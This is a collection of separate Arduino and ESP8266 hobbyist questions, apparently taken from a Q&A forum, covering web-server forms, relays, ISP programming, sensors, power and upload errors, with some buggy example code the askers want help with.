How do I fix this? This should be working right? Since I want to be sending AT commands to the bluetooth modules at some time and read their output, getting this to work is really important.


texts: How to get text type form data from a website hosted by esp8266 webserver in arduino

texts:
I am learning to use esp8266 as a web server. I have done a simple example of controlling the on board LED from a HTML page hosted by esp8266.
As a further improvement I wanted to add a password control to the same example.
I noted that we use a method called indexOf() to obtain a HTML button status in the code to switch on/off the LED. Without disturbing the other parts of the code I just created a form that accepts a text input in the HTML page.
I searched through the internet and found that all examples used ESP8266WebServer server(80) whereas I used WiFiServer server(80).
Similar to the indexOf() method, is there a method to obtain the data entered in the text field of the form using the same WiFiServer server(80), so I need not change my entire code? I should get that text input and using that as password, should control the LED. Any help would be greatly received and appreciated. Thank you in advance.
This is the code:
#include <ESP8266WiFi.h>

const char* ssid = "SaiBalaji";
const char* password = "saibalu@789";

int ledPin = 2; // GPIO13---D7 of NodeMCU
WiFiServer server(80);

void setup() {
  Serial.begin(115200);
  delay(10);

  pinMode(ledPin, OUTPUT);

  // Connect to WiFi network
  Serial.println();
  Serial.println();
  Serial.print("Connecting to ");
  Serial.println(ssid);

  WiFi.begin(ssid, password);

  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
    Serial.print(".");
  }
  Serial.println("");
  Serial.println("WiFi connected");

  // Start the server
  server.begin();
  Serial.println("Server started");

  // Print the IP address
  Serial.print("Use this URL to connect: ");
  Serial.print("http://");
  Serial.print(WiFi.localIP());
  Serial.println("/");
}

void loop() {
  // Check if a client has connected
  WiFiClient client = server.available();
  if (!client) {
    return;
  }

  // Wait until the client sends some data
  Serial.println("new client");
  while (!client.available()) {
    delay(1);
  }

  // Read the first line of the request
  String request = client.readStringUntil('\r');
  Serial.println(request);
  client.flush();

  // Match the request

  int value = LOW;
  if (request.indexOf("/LED=ON") == -1)  {
    digitalWrite(ledPin, HIGH);
    value = HIGH;
  }
  else if (request.indexOf("/LED=OFF") == -1)  {
    digitalWrite(ledPin, LOW);
    value = LOW;
  }

  // Return the response
  client.println("HTTP/1.1 200 OK");
  client.println("Content-Type: text/html");
  client.println("");
  client.println("<!DOCTYPE HTML>");
  client.println("");

  client.print("Led is now: ");
  if (value == HIGH) {
    client.print("Off");
  }
  else {
    client.print("On");
  }

  client.println("

");
  client.println("<button>On </button>");
  client.println("<button>Off </button>
");

  //  form
  client.println("<form>

Data");
  client.println("<input type=\"text\" id=\"data\" name=\"Sai\">

");
  client.println("<input type=\"submit\"></form>");
  client.println("");
  //  form

  delay(1);
  Serial.println("Client disonnected");
  Serial.println("");
}


texts: How to connect Wi-Fi shield ESP-12E-ESP8266-UART-WIFI-Wireless-Shield with Arduino

texts:
I have bought this shield from ebay and now I don't know how to use it, ESP 12E ESP8266 UART WIFI Wireless Shield for Arduino UNO R3 Bouclier Sans filfr:

There are no instructions in the box or anywhere on internet for this board. The only description I found everywhere is this:

  Description:

  Standard pin interface to achieve full compatibility with the pitch Arduino Uno, Mega and so on. (Unless the standard size Arduino, such
  as Nano, Mini)
  3.3V power supply using advanced chip (with the official expansion board power chip CC3000 same), so 3.3V Arduino board provided more
  accurate, so ESP8266 as official CC3000 chip work as normal, there is
  no gap.
  It leads to a WiFi module power supply / service interface to facilitate developers to extend the power supply and maintenance.
  Onboard ESP8266-12 stable industrial grade serial WiFi module, using an enhanced PCB antenna, signal better.
  You can quickly switch DIP switch ESP8266-12 industrial grade WiFi stable operation mode (such as operating mode and upgrade mode)
  module, integrated serial chip, quickly flashing the firmware.
  Built-in 5V to 3.3V TTL level converter to prevent high-pressure Arduino TTL level of the WiFi module damage.
  Onboard ESP8266-12 stable industrial grade WiFi module with a metal shield, immunity to interference.
  Onboard ESP8266-12 standard pitch leads to a stable industrial grade WiFi module all interfaces, enabling developers to easily
  develop deep.
  Use stackable design, it can continue to accumulate above the other modules, easy to use.
  Onboard four LED displays the status of ESP8266, namely PWR, DFU, AP, STA

What should be the board settings for this?

I am new to electronics please help me how can I connect this with Arduino.


texts:
I need to have the firmware stored somewhere on the board in order to get back to it after flashing a new firmware.

Is there a way to store a backup of the firmware somewhere, and use a button to erase a newer firmware and get back to the old one, without re-flashing the old firmware again ?


texts: Adafruit BNO055 "raw data" quaternion output

texts:
You Hello everyone,
Apologies for the basic question, but I wasn't able to verify by myself looking through the library files. In the BNO055 help guide there is an example "Raw Sensor Data", which advises the following:

If you don't want to use the Adafruit Unified Sensor system (for
example if you want to access the raw accelerometer, magnetometer or
gyroscope data directly before the sensor fusion algorithms process
it), you can use the raw helper functions in the driver.
The key raw data functions are:
getVector (adafruit_vector_type_t vector_type)
getQuat (void)
getTemp (void)

And here is the code for quaternions:
imu::Quaternion quat = bno.getQuat();

/* Display the quat data */
Serial.print("qW: ");
Serial.print(quat.w(), 4);
Serial.print(" qX: ");
Serial.print(quat.y(), 4);
Serial.print(" qY: ");
Serial.print(quat.x(), 4);
Serial.print(" qZ: ");
Serial.print(quat.z(), 4);
Serial.println("");

I have traced through that the function looks at the register values for quaternion output from the sensor data sheet (see section 4.3.34).
Some things confuse me though.

is the data outputted from the above function the fused and calibrated data from the BNO sensor using their filters?
If not, how do I get that data (the "highest quality" data from the sensor)?
if the data from the code above is the output of the sensor fusion algorithms, then why does the guide advice to the contrary as quoted above? And why does it need to do additional math on it as is described in the quaternion class?

Sorry if this is verbose. I appreciate you taking the time to help out a newbie! I tried asking at the official forums, but no response as of yet.


texts:
I am trying to program an atmega with arduino sketch using ISP only (mac user).
So I know how to burn a boot loader, and then to program the chip using the TX, RX. But I would like to program it directly using ISP, without a boot loader.
So I am using the UNO as a ISP programmer, and trying without success to program a chip on a PCB:

I upload to the UNO the ArduinoISP sketch
Connect the lines to the target board (target board have atmega328, crystal, capacitors, LED)
Choose the board "Arduino pro or pro mini" in the Arduino IDE.
Choose the programmer- "Arduino as ISP"
At the beginning I tried to upload a boot loader, to see if its going well, it DID boot loaded the chip,so I know the connections are good, and I am set to go.

Now, I am trying to just upload a sketch using the SAME ISP connection, I didn't touch anything(!) , so I opened the blinking example, hit the upload button, and it's just not working (not in sync).

Again, the goal is now to program a chip with ISP directly, without a boot loader. The reason I boot loaded it is to see it's all connected well.

I can't imagine how the exact same configuration can bootload the chip,and later can't upload a sketch directly using the ISP.

What am I missing here? Can't you use the Arduino IDE to upload a sketch directly as an ISP programmer?


texts:
How does arduino uno cast from long to int?

Does it truncate the bits? (Does it just delete the 16 most left bits?)


texts: Arduino Nano Max Current Draw best Motors

texts: I know that the Arduino Nano cannot source more than 40ma per pin. My question is there any type of motor or continuous rotation servo that I could use four of to make a robot without making the Nano shutdown. I would prefer the price to not exceed $10 in total.


texts: Using Arduino Uno as ISP to program Mega 2560

texts:
I'm trying to use Arduino Uno as ISP to program Arduino Mega 2560 using this Pin connections (Uno->Mega):

slave reset: 10:       ->        RESET on target

MOSI:        11:      ->           51

MISO:        12:      ->         50

SCK:         13:      ->        52

It runs perfectly when I "Burn Bootloader" from Arduino IDE and LED starts blinking on target. So I assume my pin connections are correct.

However, when I open the Blink example and perform "Upload Using Programmer" in Sketch tab after choosing "Arduino as ISP" in Tools>Programmer it uploads the code but LED on Mega doesn't blink.

I'm afraid that I have problem in my Mega Bootloader hex file and think it's not configuring Pin 13 as a LED pin. But in this case I shouldn't have seen the led blinking after burning the bootloader.

What am I missing here? I appreciate your help.
-Bex


texts: Alternative Way to Power Components on an Arduino

texts:
I have very limited knowledge regarding electronics. Please help me cure my ignorance on the subject of robotics.

I want to power the Arduino Uno R3, US-015 ultrasonic sensor, and the L298N motor controller from a single power source (7.2v). However, I'm not sure if this diagram is correct. If it is functional, will it last that way?

If this diagram is deemed wrong, please suggest alternatives with one power source.

Advance thanks to those who would reply. Elaborate answers would be very much appreciated. :D

Edit: Since it's deemed incorrect, I'm going to power Arduino through the DC barrel jack and power the L298N motor controller through the Vin and the ultrasonic sensor from the Arduino 5v output. Is it wise to do this?


texts:
I'm building a small device using arduino that should be connected to my pc via a usb header to exchange data with the PC.

What I'd like to achieve is that arduino turns on when the pc is on, whereas it shuts down when the pc is turned off. If I rely on the usb port to provide power to the arduino that might not happen, since some motherboards still provide power to the usb connections even when the pc is off.

Therefore I'd like to power the arduino using the 5v rail directly from a Molex. I know that theoretically I can connect that rail straight to the 5v pin, but what about power spikes? How can I be sure that the 5v input voltage is properly filtered and stabilized? Would it be better to use a LM317 and transform the 12v rail into 7.5v to feed arduino from the vin?


texts: Is there an Adafruit function to invert the colors of my screen for Arduino language?

texts:
I am trying to invert the color of my OLED display screen once a button is pushed. I have the button situation figured out but I can not find a function that inverts the color. I am using these two libraries to handle my screen on the Arduino IDE.

Adafruit_GFX.h, Adafruit_SSD1306.h

Any help would be much appreciated.


texts: Relay switching problem with ATmega328P + 10 relays

texts:
I am trying to switch ON/OFF 10 relays connected to ATmega328P via Bluetooth HC-06 module. The problem I am facing is that when I try to Switch ON more than 3-4 relays, some of the previously ON relays switch OFF and the ATmega328 restarts.

I am using a 12V 2A power supply.

I have set up my circuit as shown below

My code

int r1 = 4, r2 = 5, r3 = 6, r4 = 7, r5 = 8, r6 = 9, r7 = 10, r8 = 11, r9 = 12, r10 = 13;
char state;
String msg;
int r = 0;

void setup()
{

    pinMode(r1, OUTPUT);
    pinMode(r2, OUTPUT);
    pinMode(r3, OUTPUT);
    pinMode(r4, OUTPUT);
    pinMode(r5, OUTPUT);

    pinMode(r6, OUTPUT);
    pinMode(r7, OUTPUT);
    pinMode(r8, OUTPUT);
    pinMode(r9, OUTPUT);
    pinMode(r10, OUTPUT);

    Serial.begin(9600);
}

void loop()
{

    while (Serial.available())
    {
      state = Serial.read();

      if (state == '\n')
        break;

      msg += state;

    }

    if (msg.length() > 0)
    {
      /*Serial.print("Data: ");
      Serial.println(msg);*/

      if (msg == "on1")
      {
          digitalWrite(r1, HIGH);
          Serial.print("O1");
      }
      else if (msg == "on2")
      {
          digitalWrite(r2, HIGH);
          Serial.print("O2");
      }
      else if (msg == "on3")
      {
          digitalWrite(r3, HIGH);
          Serial.print("O3");
      }
      else if (msg == "on4")
      {
          digitalWrite(r4, HIGH);
          Serial.print("O4");
      }
      else if (msg == "on5")
      {
          digitalWrite(r5, HIGH);
          Serial.print("O5");
      }
      else if (msg == "on6")
      {
          digitalWrite(r6, HIGH);
          Serial.print("O6");
      }
      else if (msg == "on7")
      {
          digitalWrite(r7, HIGH);
          Serial.print("O7");
      }
      else if (msg == "on8")
      {
          digitalWrite(r8, HIGH);
          Serial.print("O8");
      }
      else if (msg == "on9")
      {
          digitalWrite(r9, HIGH);
          Serial.print("O9");
      }
      else if (msg == "on10")
      {
          digitalWrite(r10, HIGH);
          Serial.print("O10");
      }

      //off---------------------------------------------------------

      else if (msg == "off1")
      {
          digitalWrite(r1, LOW);
          Serial.print("F1");
      }
      else if (msg == "off2")
      {
          digitalWrite(r2, LOW);
          Serial.print("F2");
      }
      else if (msg == "off3")
      {
          digitalWrite(r3, LOW);
          Serial.print("F3");
      }
      else if (msg == "off4")
      {
          digitalWrite(r4, LOW);
          Serial.print("F4");
      }
      else if (msg == "off")
      {
          digitalWrite(r5, LOW);
          Serial.print("F5");
      }
      else if (msg == "off6")
      {
          digitalWrite(r6, LOW);
          Serial.print("F6");
      }
      else if (msg == "off7")
      {
          digitalWrite(r7, LOW);
          Serial.print("F7");
      }
      else if (msg == "off8")
      {
          digitalWrite(r8, LOW);
          Serial.print("F8");
      }
      else if (msg == "off9")
      {
          digitalWrite(r9, LOW);
          Serial.print("F9");
      }
      else if (msg == "off10")
      {
          digitalWrite(r10, LOW);
          Serial.print("F10");
      }
      else if (msg == "offall")
      {
          digitalWrite(r1, LOW);
          digitalWrite(r2, LOW);
          digitalWrite(r3, LOW);
          digitalWrite(r4, LOW);
          digitalWrite(r5, LOW);
          digitalWrite(r6, LOW);
          digitalWrite(r7, LOW);
          digitalWrite(r8, LOW);
          digitalWrite(r9, LOW);
          digitalWrite(r10, LOW);
      }

    }

    msg = "";

    delay(1000);
}


texts: How to compile, upload and monitor via the Linux command line?

texts:
Interfacing an Arduino Uno (uploading etc.) with the Arduino IDE (using the Fedora package) works fine under Fedora 21.

But I rather want to use vim + make + vim-quickfix-mode etc.

How can I do that?

Preferably via the tools available from the Fedora repositories.

I assume that the IDE calls externals command line utilities for the uploading etc.

The equivalent to the IDE's serial monitor is probably connecting a terminal emulator (e.g. screen) to /dev/ttyACM0, right?

Perhaps there is a good example project one can look at the makefile?


texts:
I've been putting a small helper library together which I'm just including manually via the libraries sub-directory. I've just made some changes to the library in the filesystem however when trying to compile a previous sketch referencing it (after making the appropriate changes), the compiler is complaining and it appears to still be using the old version of the library. What's going on here and what is the correct way to update such a library?

I have tried completely reloading the Arduino IDE to flush out any caches etc. but that didn't help


texts: How do you make a switch case run until another serial input is detected?

texts:
I am trying to create a Traffic Light Controller.
There are three modes to the controller:
Mode 1 - the traffic light operates RED-YELLOW-GREEN-YELLOW and should repeat
* (The other modes are not necessary apart from knowing the user can select the mode.)*

I want to loop the function of the mode until I receive an input from the serial monitor. If no input is detected, then it should continue with the current mode.
At the moment I am using Serial.read() at the start of the main loop function before my switch statement to select the mode. However, this needs an input, but I want the switch cases to loop until an input is received.

All help will be much appreciated.


texts: Connection of a DS18B20 on a Arduino pro mini

texts:
I'm actually trying to connect a DS18B20 sensor to a homemade board build with a ATmega328P processor running with a power of 3.3V and at 8 Mhz.

In order to get the address I wired the board as the following schematic on the pin 5 of my board.

To power the sensor and the pull up resistor I use the VDD output of my board which provides 3.3V.

For the code part I uploaded this:

// This sketch looks for 1-wire devices and
// prints their addresses (serial number) to
// the UART, in a format that is useful in Arduino sketches
// Tutorial:
// http://www.hacktronics.com/Tutorials/arduino-1-wire-address-finder.html

#include <OneWire.h>

OneWire  ds(5);  // Connect your 1-wire device to pin 5

void setup(void) {
  Serial.begin(9600);
  discoverOneWireDevices();
}

void discoverOneWireDevices(void) {
  byte i;
  byte present = 0;
  byte data[12];
  byte addr[8];

  Serial.print("Looking for 1-Wire devices...\n\r");
  while(ds.search(addr)) {
    Serial.print("\n\rFound \'1-Wire\' device with address:\n\r");
    for( i = 0; i < 8; i++) {
      Serial.print("0x");
      if (addr[i] < 16) {
        Serial.print('0');
      }
      Serial.print(addr[i], HEX);
      if (i < 7) {
        Serial.print(", ");
      }
    }
    if ( OneWire::crc8( addr, 7) != addr[7]) {
        Serial.print("CRC is not valid!\n");
        return;
    }
  }
  Serial.print("\n\r\n\rThat's it.\r\n");
  ds.reset_search();
  return;
}

void loop(void) {
  // nothing to see here
}

When I make it run on an Arduino Uno card I can get the address of the sensor but when I make it run on my card I only obtain this:

  Looking for 1-Wire devices...

That's it.

Anyone got a idea why it's working on an Arduino Uno but not on my card?


texts: Arduino powered car not running when touching ground

texts:
I hacked a cheap car I connected both motors to L298N Dual H-Bridge Motor Controller and all things are working good. Motors are running fast. But when I put the car on the ground to run. It runs so slow. I am using 4.5V for L298N.
What can I do to run it fast on ground?

I have tried PWM but it does not work.

What can be the causes of this?


texts:
I have a Leonardo with a Yun shield, and I would like to be able to control the arduino with a windows form app, but thats besides the point for now at least. Currently, I am using putty and the commands Telnet Localhost 6571. However, I would like to avoid doing that and I was wondering if anybody new how to communicate with the arduino from port 22 at the yun's IP, rather than connecting to the yun and then to the remote local machine. That or I am missing something entirely!

This is the code I am using to try and access the console port of the Leonardo:

namespace ConsoleApp2
{
    class Program
    {
        static void Main(string[] args)
        {
            //connect to arduino
            ConnectionInfo ConnNfo = new ConnectionInfo("10.1.1.211", 22, "root", new AuthenticationMethod[] { new PasswordAuthenticationMethod("root", "123456789") });
            using (var sshclient = new SshClient(ConnNfo))
            {
                sshclient.Connect();
                //connect to console port of arduino
                TcpClient tcp = new TcpClient("localhost", 5671);
                sshclient.Disconnect();
            }
            Console.ReadKey();
        }
    }
}

Thank you


texts: send serial monitor to server and save data in hdd

texts:
I'd like stream data to my disk via serial and then send it to a central server. e.g. log an event.
i wouldn't use any separate modules.
Any helps appreciated.


texts:
I would like to ask a question relating to the following communication setup:

STM32 -- Arduino Pro Mini -- ADNS3080 sensor

The interface between STM32 -- Arduino is I2C and the interface between Arduino Pro Mini--ADNS3080 is SPI.

I have tested the communication between the STM32 and the Arduino Pro Mini, and between the Arduino Pro Mini and the ADNS3080 sensor. Both of them work fine; I can successfully send and receive data in both cases.

Now, I want to read the register of the ADNS3080 sensor using the STM32. First, I start an I2C communication between the STM32 and the Arduino Pro Mini, then I send the register address of the ADNS3080 to the Arduino Pro Mini. The Arduino Pro Mini reads the register address and in the same function starts a communication, using SPI, with the ADNS3080 sensor.

But I receive I2C errors in the STM32. Is it possible to use I2C and SPI at the same time? Do I have to introduce delays between the I2C and SPI commands?

Regards, Ali


texts: Arduino sketch not uploading to Arduino Nano

texts:
Port is detected and selected but sketch is not uploading to it.
I am getting error:

         avrdude: Version 6.3, compiled on Jan 17 2017 at 12:00:53
         Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/
         Copyright (c) 2007-2014 Joerg Wunsch

         System wide configuration file is "C:\Users\ACER\AppData\Local\Arduino15\packages\arduino\tools\avrdude\6.3.0-arduino9/etc/avrdude.conf"

         Using Port                    : COM5
         Using Programmer              : arduino
         Overriding Baud Rate          : 115200
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 1 of 10: not in sync: resp=0x2c
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 2 of 10: not in sync: resp=0x2c
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 3 of 10: not in sync: resp=0x2c
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 4 of 10: not in sync: resp=0x2c
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 5 of 10: not in sync: resp=0x2c
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 6 of 10: not in sync: resp=0x2c
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 7 of 10: not in sync: resp=0x2c
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 8 of 10: not in sync: resp=0x2c
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 9 of 10: not in sync: resp=0x2c
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 10 of 10: not in sync: resp=0x2c

avrdude done.  Thank you.

Problem uploading to board.  See http://www.arduino.cc/en/Guide/Troubleshooting#upload for suggestions.


texts:
Is it possible to program a custom description so that my python program can know exactly what USB port to connect to for that specific programming?

It should be able to find any board with that program so the best approach is if a custom description can be programmed with the active program being uploaded.

I want to make sure my setup can handle multiple Arduino boards and always know what USB to use for each specific use.

This finds a general Arduino device:

for port in serial.tools.list_ports.comports():
    if "Arduino" in port.description:
        print "Arduino device!"

But I want something like this:

for port in serial.tools.list_ports.comports():
    if "proximity_sensor" in port.description:
        print "My specific Arduino program!"


texts: How to set Alarms on the DS3231 easily so the Nano doesn't have to go to sleep with delay statements?

texts:
I want my solar array sun tracker to shut down at night then move full east in the morning to catch the first rays.

I know the DS3231 can set alarms but it is not clear from its documentation how to do it with the normal library.

Delay statements are the way I have it periodically check for when to take readings, but I really want it to be able to respond to radio-remote control commands, which don't work during delays.

Q:  Is there an easier way?


texts: I am trying to figure out if I can measure the Vcc of attiny13a, but the code I use for arduino's and attiny85 does not work. This is where I got the code from. I know that it works by using the 1.1v reference and the ADC, and in the attiny13a datasheet it says that it has these, but I can't get it to work.


texts:
I am newbie, I need to measure precise voltage in range 0.00-0.80V, two digits precision.

The voltage will not be greater than 1V-1.2V.

I wonder if I need divider or not, I am sure that voltage won't rise above 1.2V.

Can I connect the point to measure directly to analog input, or I still need to use divider? Please explain why.